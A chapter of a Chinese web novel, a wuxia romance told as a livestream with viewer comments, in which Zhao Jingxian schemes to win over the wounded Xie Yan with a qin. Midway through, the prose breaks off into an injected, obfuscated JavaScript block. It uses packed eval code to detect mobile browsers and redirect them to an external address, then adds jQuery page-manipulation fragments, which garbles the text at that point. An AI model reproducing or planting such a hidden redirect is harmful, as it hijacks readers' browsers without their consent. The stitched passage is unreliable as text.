赵惊弦困惑复述了一遍余清晚的话语:“啊?什么情敌?”
余清晚反问:“赵兄,你对魔教教主江晦了解多少?”
“不多。”赵惊弦蹙眉,“只听盟主提过他的名字,知道他是谢厌师兄,也用刀,我感觉很没品,就没再深入了解——”
余清晚:“……停!”
他可不想听赵惊弦扯什么刀剑之争,正常人理解不了赵惊弦与剑有关的情怀。
“江晦这人的武功能力都远不及谢厌,裴衡说过,他嫉恨谢厌的天赋,却又……”余清晚停了片刻,低声,“从中萌生出了……另一种畸形的感情来。”
赵惊弦飞快瞥了眼弹幕。
【细说一下这部分畸形的感情!】
【好熟悉的剧情,我总觉得我在隔壁小花网站的直播间里看过。】
【什么小花网站!有宝子分享一下小花直播间的地址吗?!】
【病态阴暗因恨生爱……还下毒?这真的是我们绿色直播间是能播的剧情吗?】
【主播小心你的直播间啊!别又被封了!】
“谢厌的毒,是江晦所下,解药应当只有他才有。”余清晚说,“此毒只作折磨之用,为的是废去谢厌的武功,令谢厌只能依赖他。”
赵惊弦:“谢厌没发现?”
余清晚还未回答,二人头顶的竹叶先颤了颤,裴衡小声说:“起初没有。”
赵惊弦微微蹙眉。
余清晚:“谢厌中毒已一年有余,江晦始终装着好师兄的模样,对他万分关切,在教中大肆搜寻下毒之人。”
裴衡:“谢副使当时……很……为此动容。”
赵惊弦:“……傻子。”
余清晚一怔:“什么?”
赵惊弦并未回答余清晚,他抬眸看向头顶竹稍,唤:“裴衡。”
竹叶不受控制剧烈颤动。
“我有几个问题。”赵惊弦说,“谢厌既比江晦要强……你们老教主还将教中这么重要的三堂交给他,邪道人有这般好心?”
裴衡:“我……不知老教主心思……”
赵惊弦挑眉:“你们老教主是对他有恩?”
裴衡:“是。”
赵惊弦:“谢厌对他很尊敬?”
裴衡:“是。”
赵惊弦心下了然,低声道:“……真是傻子。”
余清晚不解:“赵兄,这又是何意?”
“还是江湖上有名的大恶人呢。”赵惊弦啧舌说,“混邪道都能混成这幅憋屈模样。”
【啊?没懂?有人听懂主播的意思了吗?】
【从邪道恶人变成了邪恶恶猫,还是奶凶没什么震慑力那种】
【意思是谢猫猫为了报恩,没有一点上位之心,被人卖了还任劳任怨帮着数钱吧。】
【江湖十恶之首谢厌→→→江湖十喵之首谢猫猫!】
【我天可是这样更好品了啊,谁不喜欢这款谢猫猫!】
【没有人觉得主播好像生气了吗?他这个表情有一点吓人的啊……】
【没关系,我们笨蛋主播就算生气了也不会有用的】
“赵兄,其实还有一件事……”余清晚有些迟疑,“我并非是要责怪你,可我总觉得……你对谢厌的感情,并非一见钟情那么简单。”
赵惊弦:“……”
赵惊弦心虚移开了目光。
“你既不想说,一定有需要隐瞒的缘由,我便不多问了。”余清晚叹了口气,“可若你真对谢厌有意,我还是应当提醒你……谢厌经人背叛后,一定很厌恶他人欺骗。”
赵惊弦想,完了,他对谢厌何止是欺骗啊?
他连接近谢厌的目的都不单纯,若真为谢厌所知,往后怕是连朋友都当不成。
余清晚又道:“谢厌这人外冷内热,只需诚心待他,待时日长了后,一定会有结果。”
赵惊弦:“……”
赵惊弦更心虚了。
他现在缺的就是时间,他根本不知道直播间何时会发布下一个任务,自然不会有功夫和谢厌玩什么来日方长。
余清晚最后道:“我弟弟只会纸上谈兵,你千万不能信他。”
赵惊弦小声:“我觉得他的建议不错……”
——至少直播效果不错,观众喜爱值涨得极快,打赏也很多。
余清晚一愣:“他说什么了?”
赵惊弦:“……倒是也没什么。”
余渡那些虎狼之言,什么一次强吻不成就两次……赵惊弦反正没有勇气说出口。
“赵兄,你可曾想过。”余清晚看得出赵惊弦还有事隐瞒,可他也只能微微蹙眉,道,“谢厌已见多了虚情假意。”
赵惊弦心虚颔首,移开目光:“……嗯嗯,我知道的。”
“他方被至亲之人欺骗,再经不得背叛……只要你真心以待。”余清晚轻声道,“……终有一日,他会为你动心的。”
-
赵惊弦回到竹庐内时,余渡还在院中等他。
余渡看起来兴奋不已,一见赵惊弦出现,便立即上前,万分激动道:“赵大哥,我又想到了一个好办法。”
赵惊弦一怔:“还有什么办法?”
“我听我兄长说过,你在学琴,对吧。”余渡道,“谢厌也会弹琴,你可以找他教你!”
赵惊弦尚因余清晚一番话语而心有愧疚,他本来是不打算接受余渡的建议的。
可学琴之事,余清晚也提过,两兄弟都提过的办法,一定是个好办法!
赵惊弦立即点头:“我明日便去找他。”
“不能拖到明日。”余渡说,“今日深夜,你去他的门外弹琴!”
赵惊弦一愣:“啊?这样不好吧?”
谢厌受了伤,需要多休息,总该让人睡个好觉才对。
余渡:“而且一定要弹错,错得越多越好,他一定会忍不住纠正你的!”
赵惊弦皱眉:“……真的?”
余渡给赵惊弦举了一个他无法反驳的例子。
余渡:“赵大哥,你想想,若有一人夜半在你屋外练剑,而你只能隔窗看见他的剪影,你是不是会好奇心起,迫不及待想要出去看一看这人是谁?”
赵惊弦想了想这情境,点头。
余渡又道:“那若这人的剑法错漏百出,你能忍吗?”
赵惊弦:“……绝无可能!”
他一定会出去纠正这人,兴许还会将这人骂上一顿。
余渡:“你看,这不就对了嘛!”
练剑是这个道理,弹琴……可能也会是这个道理吧。
余渡:“还有,待他出来后,你便立即将琴弦拉断,而后装着琴弦伤手——”
“……等等。”赵惊弦忽而想到了一件事,“那琴的琴弦全断了,我还没修好。”
余渡一愣,努力在脑中搜寻他那广博的阅读量,却没有任何一篇能对得上今日的情况。
余渡只能硬着头皮回答:“那……那你就在他门前上弦!”
赵惊弦更困惑了:“弹错还好说,上弦……真的有用?”
“当然有用!”余清晚又举了个赵惊弦无法反驳的例子,“赵大哥,你想想,若有人在你面前磨剑,但手法全错,极伤剑刃——”
赵惊弦登时怒从心中起:“……不能忍!”
余渡:“对吧!”
“什么人啊!”赵惊弦恨恨骂道,“我非得揍死他!”
余渡:“……啊?
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15197058|165101||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
-
夜深之时,赵惊弦抱着他琴弦全断的琴,鬼鬼祟祟出现在了竹庐院中。
他在谢厌门前坐下,方取出一卷新弦,便见一旁阴暗处睁开一双绿幽幽的眼睛,玄猫不知又从何处钻出来了,蹲坐一旁,喵视眈眈地看着他。
赵惊弦觉得有些奇怪。
他养的猫,以往甚是独立,除了他外出方归与喵喵开饭时,不会太黏着他,特别是玄猫,它可是喵中老大,平日总难见着它。
谢厌来的这几日,玄猫总绕着他们两打转,此事实在太过稀奇,赵惊弦完全弄不清它想做什么。
赵惊弦心中困惑,手上动作倒是不停,他熟练将琴弦穿过龙龈,正要用力绷紧,却忽地又想起了一个大问题。
他只是要给琴换弦,换弦又弄不出什么大动静,那他究竟要如何才能引起屋中谢厌的注意?
赵惊弦沉默看着面前紧闭的门扇,一时陷入沉思。
照余渡的意思,这动静一定得和琴有关,还要错漏百出,方能引起谢厌的兴趣。
可这个时辰,谢厌保不齐已经歇息了,他若不能出声,哪怕在门外倒立旋转着给琴上弦都没有用。
赵惊弦只得用力咳嗽几声,咳完便立即竖起耳朵,倾听屋内的动静。
如此循环数次,屋中依旧静极。
赵惊弦不知所措,出师不利,他或许应该就此收——
玄猫一脑袋砰地用力顶开了房门。
赵惊弦吓了一跳,惊慌抬首,正对上了门后谢厌的目光。
赵惊弦怔住了。
他怎么也没想到谢厌就在门后,二人之间只隔了这一扇门,那透过竹窗间隙,他方才那些蠢过了头分外做作的举动,谢厌只怕看得一清二楚。
更不用说……更不用说……
该死,这人的眼睛,怎么就生得那么好看,他根本移不开目光。
谢厌正冷然挑眉:“赵惊弦,深更半夜,你又在发什么疯。”
赵惊弦紧张摸了摸手中的琴。
谢厌有些不耐:“若是无事,我要休息了。”
赵惊弦握紧手中琴弦,竭力摆出一副与琴不熟的模样来。
可谢厌好像压根没看见他手中的琴,一手已经抵上了房门,正打算将门关上,玄猫忽地又顶了顶他的腿,而后抬起毛茸茸的圆脑袋,对着谢厌睁大了圆溜溜的绿眼睛,在昏暗灯光之下,黑色的瞳仁放大而浑圆,显出一副极可怜的模样来。
谢厌:“我讨厌猫。”
玄猫将眼睛睁得更圆了一些:“咪嗷~”
谢厌:“……惹人厌烦。”
玄猫的叫声千回百转:“咪~咪呀~”
谢厌:“……”
谢厌冷着脸阴沉着退后半步,让玄猫进了屋。
赵惊弦讶然看着眼前一切,想起余清晚说过的话,谢厌这人外冷内热——
等等,他忽然就有了瞎编的全新方向。
赵惊弦支支吾吾:“那个……谢副使……其实……”
谢厌不耐:“怎么了?”
赵惊弦:“这是我的房间。”
谢厌:“……”
赵惊弦:“你那日伤得太重,我来不及腾出其他屋子,只能先将你安顿在此处。”
谢厌:“……”
赵惊弦:“这几天我一直睡在柴房,真的很可怜。”
谢厌:“……”
赵惊弦:“今天天冷,柴房更冷,还黑黢黢的,很吓人。”
谢厌:“……你要做什么?”
赵惊弦如同玄猫一般可怜兮兮抬首,对着谢厌睁大眼睛,竭力放软声音:“谢副使,能……能让我回屋里睡吗?”
谢厌:“……”